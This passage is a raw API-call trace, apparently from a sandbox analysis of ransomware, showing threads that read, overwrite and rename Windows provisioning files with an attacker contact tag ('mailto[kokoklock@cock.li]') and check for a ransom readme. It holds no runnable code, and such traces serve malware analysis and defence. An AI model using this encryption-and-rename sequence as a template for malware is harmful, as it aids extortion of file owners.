Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x19b218b [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xf02b9722 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x90e4f71 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x4896ccff [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xc46464e8 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xb2d367f2 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x995e094 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x76122ade [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x5fbd0737 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x61d42fd4 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x8490eea6 [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x7a84b9dd [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x9ed17d1d [0086.229] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xaba19f94 [0086.230] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x3a80cf6e [0086.230] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0xc447950b [0086.230] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x6f457a4a [0086.230] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x4d6a0197 [0086.230] RtlRandom (in: Seed=0x2c9bf9f4 | out: Seed=0x2c9bf9f4) returned 0x424d7658 [0086.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0086.242] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddcb8) returned 1 [0086.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.242] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.242] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x2c9bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c9bf9e8*=0x290, lpOverlapped=0x0) returned 1 [0086.243] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9bf9b0 | out: lpNewFilePointer=0x0) returned 1 [0086.243] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2c9bf9e4, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c9bf9e4*=0x290, lpOverlapped=0x0) returned 1 [0086.243] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.243] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.243] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c9bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2c9bf9e0*=0x20, lpOverlapped=0x0) returned 1 [0086.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.243] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.243] WriteFile (in: hFile=0xa30, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c9bfa0c, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2c9bfa0c*=0x8, lpOverlapped=0x0) returned 1 [0086.243] WriteFile (in: hFile=0xa30, lpBuffer=0x2c9bfa24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c9bfa0c, lpOverlapped=0x0 | out: lpBuffer=0x2c9bfa24*, lpNumberOfBytesWritten=0x2c9bfa0c*=0x4, lpOverlapped=0x0) returned 1 [0086.243] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c9bfa0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c9bfa0c*=0x4, lpOverlapped=0x0) returned 1 [0086.243] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c9bfa0c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c9bfa0c*=0x6c, lpOverlapped=0x0) returned 1 [0086.244] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddbc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c9bfa0c, lpOverlapped=0x0 | out: lpBuffer=0x55ddbc8*, lpNumberOfBytesWritten=0x2c9bfa0c*=0x20, lpOverlapped=0x0) returned 1 [0086.244] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c9bfa0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c9bfa0c*=0x4, lpOverlapped=0x0) returned 1 [0086.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbc8) returned 1 [0086.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd30) returned 1 [0086.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.244] CloseHandle (hObject=0xa30) returned 1 [0086.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18a) returned 0x341a7f8 [0086.244] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" [0086.244] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.244] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.245] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.245] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.245] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.245] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.245] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f8c8) returned 1 [0086.245] RtlExitUserThread (Status=0x1) Thread: id = 1275 os_tid = 0xd24 [0085.215] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml")) returned 0x20 [0085.983] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0085.983] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0085.983] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2ca3f964 | out: lpFileSize=0x2ca3f964*=731) returned 1 [0085.983] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x2d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.983] ReadFile (in: hFile=0x99c, lpBuffer=0x2ca3f938, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ca3f934, lpOverlapped=0x0 | out: lpBuffer=0x2ca3f938*, lpNumberOfBytesRead=0x2ca3f934*=0x4, lpOverlapped=0x0) returned 1 [0085.985] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0085.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8f8 [0085.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd9c0 [0085.985] NtQuerySystemTime (in: CurrentTime=0x2ca3f910 | out: CurrentTime=0x2ca3f910*=132121176438829512) returned 0x0 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x936bd3fc [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xabc88114 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x4c65be87 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x6513d62e [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x4c6e1db4 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x6129ef7 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x45c6cc3f [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xe7ce4400 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x87a5e712 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xdd6f602b [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x18c0d3ce [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xce979593 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x2a94d455 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x9e8da655 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xa9749d94 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xfd2114aa [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x3f180978 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xdb980ff6 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xb35d6364 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x8c93883f [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x554224ba [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xcd79f0f3 [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x57ff0d7d [0085.985] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xe542bb3b [0085.986] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x1c378a65 [0085.986] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x24f479b [0085.986] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0xf568d5e0 [0085.986] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x43460a9 [0085.986] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x47038bec [0085.986] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x465cc3e5 [0085.986] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x442a531f [0085.986] RtlRandom (in: Seed=0x2ca3f91c | out: Seed=0x2ca3f91c) returned 0x356086cc [0085.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0085.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0085.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0085.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0085.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd8a8 [0085.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8a8) returned 1 [0085.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0085.996] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x2ca3f910, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ca3f910*=0x2db, lpOverlapped=0x0) returned 1 [0085.996] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ca3f8d8 | out: lpNewFilePointer=0x0) returned 1 [0085.996] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2db, lpNumberOfBytesWritten=0x2ca3f90c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ca3f90c*=0x2db, lpOverlapped=0x0) returned 1 [0085.997] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd538 [0085.997] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd5b0 [0085.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd5b0) returned 1 [0085.997] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd538*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ca3f908, lpOverlapped=0x0 | out: lpBuffer=0x55dd538*, lpNumberOfBytesWritten=0x2ca3f908*=0x20, lpOverlapped=0x0) returned 1 [0085.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd538) returned 1 [0085.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0085.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0085.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0085.997] WriteFile (in: hFile=0x99c, lpBuffer=0x55dda10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ca3f934, lpOverlapped=0x0 | out: lpBuffer=0x55dda10*, lpNumberOfBytesWritten=0x2ca3f934*=0x8, lpOverlapped=0x0) returned 1 [0085.997] WriteFile (in: hFile=0x99c, lpBuffer=0x2ca3f94c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ca3f934, lpOverlapped=0x0 | out: lpBuffer=0x2ca3f94c*, lpNumberOfBytesWritten=0x2ca3f934*=0x4, lpOverlapped=0x0) returned 1 [0085.997] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ca3f934, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ca3f934*=0x4, lpOverlapped=0x0) returned 1 [0085.997] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ca3f934, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ca3f934*=0x6c, lpOverlapped=0x0) returned 1 [0085.998] WriteFile (in: hFile=0x99c, lpBuffer=0x55dd8f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ca3f934, lpOverlapped=0x0 | out: lpBuffer=0x55dd8f8*, lpNumberOfBytesWritten=0x2ca3f934*=0x20, lpOverlapped=0x0) returned 1 [0085.998] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ca3f934, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ca3f934*=0x4, lpOverlapped=0x0) returned 1 [0085.998] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd8f8) returned 1 [0085.998] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9e8) returned 1 [0085.998] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda10) returned 1 [0085.998] CloseHandle (hObject=0x99c) returned 1 [0085.998] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x194) returned 0x341a7f8 [0085.998] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" [0085.998] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0085.999] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.999] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.000] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.000] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.000] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.000] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341fa18) returned 1 [0086.000] RtlExitUserThread (Status=0x1) Thread: id = 1276 os_tid = 0xaec [0085.215] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml")) returned 0x20 [0085.834] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0085.836] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all 